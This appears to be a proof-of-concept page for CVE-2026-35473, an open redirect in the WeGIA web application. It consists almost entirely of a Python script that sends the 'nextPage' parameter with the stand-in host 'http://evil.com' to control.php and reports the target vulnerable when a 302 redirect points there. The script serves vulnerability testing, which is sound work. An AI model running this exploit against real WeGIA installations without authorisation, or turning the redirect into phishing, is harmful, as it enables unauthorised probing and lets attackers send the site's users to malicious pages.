CVE-2026-35473 WeGIA开放重定向漏洞

#!/usr/bin/env python3 import requests def exploit_open_redirect(target_host): # Vulnerable endpoint url = f"{target_host}/WeGIA/controle/control.php" # Malicious redirect destination malicious_site = "http://evil.com" # Payload construction based on advisory params = { "metodo": "listarId", "nomeClasse": "IentradaControle", "nextPage": malicious_site } try: # Send request, do not follow redirects to verify the 302 response response = requests.get(url, params=params, timeout=10, allow_redirects=False) if response.status_code == 302: location = response.headers.get('Location') if malicious_site in location: print(f"[+] Vulnerability Confirmed!") print(f"[+] Redirecting to: {location}") return True print("[-] Target not vulnerable or patched.") return False except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": target = "http://localhost" # Replace with actual target exploit_open_redirect(target)